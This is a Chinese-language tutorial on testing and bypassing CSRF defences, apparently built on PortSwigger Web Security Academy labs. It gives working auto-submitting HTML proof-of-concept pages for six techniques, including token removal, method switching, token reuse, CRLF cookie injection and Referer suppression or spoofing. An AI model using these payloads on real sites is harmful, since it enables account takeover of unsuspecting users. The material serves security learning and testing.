前言
阅读本文之前如果不了解什么是csrf,请先看一个视频: https://v.qq.com/x/page/c0877u4a1ei.html
为什么要谈这个漏洞?这种漏洞单独提交的话,厂家可能不会给你还多钱,但是它往往和其他脆弱点造成一些高危漏洞:比如账户劫持,Oauth相关的漏洞
本文主要总结了几种常见的测试(绕过)方法
CSRF测试
基本流程:
1.在Burp Suite Professional中选择一个您想要测试或利用的请求。
2.从右键单击上下文菜单中,选择“参与工具” /“生成CSRF PoC”。
3.Bp将生成一些HTML来触发选定的请求(除去cookies,后者将由受害者的浏览器自动添加)。
4.可以调整CSRF PoC生成器中的各种选项来微调攻击向量。在一些不寻常的情况下,可能需要这样做,以处理请求的奇怪的特性。
5.将生成的HTML复制到一个web页面中,在登录到该脆弱网站的浏览器中查看它,并测试是否成功发出了预期的请求和预期的操作。
方法1-更改请求方法:POST→GET
此种情况下:CSRF令牌的验证取决于请求方法
- 拦截请求。
- 将此请求发送到repeater,然后右键单击并更改请求方法
- 删除csrf参数并生成csrf poc
- 进行编辑,例如:
<!DOCTYPE html> <html> <!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin --> <body> <form method="GET" action="https://ac591fd21f4ab3d2807a1b1d0007000d.web-security-academy.net:443/email/change-email?email=natsu%40natsu.com"> <input type="text" name="email" value="natsu@natsu.com"> </form> <script> document.forms[0].submit(); </script> </body> </html>
- 发送至受害者
方法2-从请求中删除 csrf 参数。
CSRF令牌的验证取决于令牌是否存在
- 拦截请求。
- 将此请求发送到repeater,然后右键单击并更改请求方法
- 删除csrf参数(这里的意思是本来还有一个input,name为csrf)并生成csrf poc
- 进行编辑,例如:
<!DOCTYPE html> <html> <!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin --> <body> <form method="POST" action="https://ac8a1fbd1e6d76ae806817f900d50032.web-security-academy.net:443/email/change-email"> <input type="text" name="email" value="natsu@natsu.com"> </form> <script> document.forms[0].submit(); </script> </body> </html>
方法3-在攻击中输入您自己的帐户生成的 CSRF 令牌。
- 拦截请求。
- 右键单击生成csrf poc
- 将代码复制到file.html中,删除会话令牌
- 编辑一下(注意下面代码中的email值都变为攻击者的了):
<!DOCTYPE html> <html> <!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin --> <body> <form method="POST" action="https://acd81f251e0c762980c31ae600c70041.web-security-academy.net:443/email/change-email"> <input type="text" name="email" value="hacker@hackerone.com"> <input type="text" name="csrf" value="hacker-csrf-value-NqdmYFyfHgQl8JWLKd7YTOC24Tqdedpw"> </form> <script> document.forms[0].submit(); </script> </body> </html>
- 将file.html发送给受害者。
方法4-链接其他漏洞以添加你的 cookie,例如XSS,CRLF
例1-CSRF令牌绑定到一个非会话cookie,当我们有两个CSRF令牌时,一个在cookie中,另一个在功能中,这是由于存在两个框架,一个用于会话处理,一个用于CSRF保护,它们没有集成在一起。
cookie设置行为不需要存在于与CSRF漏洞相同的web应用程序中。如果所控制的cookie具有合适的作用域,则可以利用同一整体DNS域中的任何其他应用程序在目标应用程序中设置cookie。例如,staging.demo.normal-website.com上的cookie设置功能可以用来放置提交到secure.normal-website.com的cookie。
- 首先找到一个漏洞:允许您在受害者的cookie中注入一些东西。
- 测试CSRF令牌是否绑定到会话id
- 检查您的csrf令牌在受害者请求中替换时是否起作用
- 最后检查是否可以注入CRLF并更改csrf cookie值
- 现在做一个csrf poc与xss有效载荷执行crlf并发送这个poc给受害者
<!DOCTYPE html> <html> <!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin --> <body> <form method="POST" action="https://ac981fc81ee9f58b80984ae400200076.web-security-academy.net:443/my-account/change-email"> <input type="text" name="csrfKey" value="ntq9GTrV4JhtLaX07sqTnMpOHwMGpaX9"> <input type="text" name="email" value="hehe@hehe.com"> <input type="text" name="csrf" value="6EU5SJ9YKzfOsq9rNgDR8toGy0TKSw81"> <input type="submit" value="Send"> </form> <img src="http://ac981fc81ee9f58b80984ae400200076.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=ntq9GTrV4JhtLaX07sqTnMpOHwMGpaX9" onerror="document.forms[0].submit()"> </body> </html>
例2:CSRF令牌在cookie中简单复制,这里CSRF令牌值可以是cookie中需要相同的值
- 拦截请求,尝试更改cookie和param中的csrf令牌
- 像上面那样制作类似的poc,但这次在crlf有效负载和请求参数中放入相同的csrf令牌。
<!DOCTYPE html> <html> <!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin --> <body> <form method="POST" action="https://ac071f601e8dc74380609c1d000900b3.web-security-academy.net:443/my-account/change-email"> <input type="text" name="csrf" value="K5r92qL9pGzpC2joPMkqgBSY1GG3eo6I"> <input type="text" name="session" value="xdCFpxBe1M0MHvk0DmFuzCRlImMgdxZk"> <input type="text" name="email" value="natsu@natsu.com"> <input type="text" name="csrf" value="fake"> <input type="submit" value="Send"> </form> <img src="http://ac071f601e8dc74380609c1d000900b3.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake" onerror="document.forms[0].submit()"> </body> </html>
- 发给受害者。
方法5-完全删除或禁止引用标头
Referer验证依赖于header的存在。
- 拦截请求并尝试更改referer。
- 如果这不起作用,那么你将不得不抑制引用头。
- 您可以使用
“<meta name="referrer" content="no-referrer">”
或任何其他技术。 - POC如下:
<!DOCTYPE html> <html> <!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin --> <body> <form method="POST" action="https://ac6d1fe21fb2a0c7809510e7001c006c.web-security-academy.net:443/my-account/change-email"> <input type="text" name="session" value="S4dyJbRWg1IqEpZlPkhICE5vJQhnv6ve"> <input type="text" name="email" value="hola@hola.com"> <meta name="referrer" content="no-referrer"> </form> <script> document.forms[0].submit(); </script> </body> </html>
方法6-在referer中添加attacker.com
- 拦截请求并尝试更改referer为attacker.com
- 现在生成一个普通的POC,并在脚本块中包含任何JavaScript来更改URL和Referer(如下)
<!DOCTYPE html> <html> <!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin --> <body> <form method="POST" action="https://ac761f621f79d75680e4054c00160033.web-security-academy.net:443/my-account/change-email"> <input type="text" name="session" value="rk13v2KYDFByO0OFL0xnHcnIVZbvAHNg"> <input type="text" name="email" value="gg@gg.com"> <input type="submit" value="Send"> </form> <script> <!-- history.pushState("", "", "/?$original-domain")--> history.pushState("", "", "/?ac761f621f79d75680e4054c00160033.web-security-academy.net") document.forms[0].submit(); </script> </body> </html>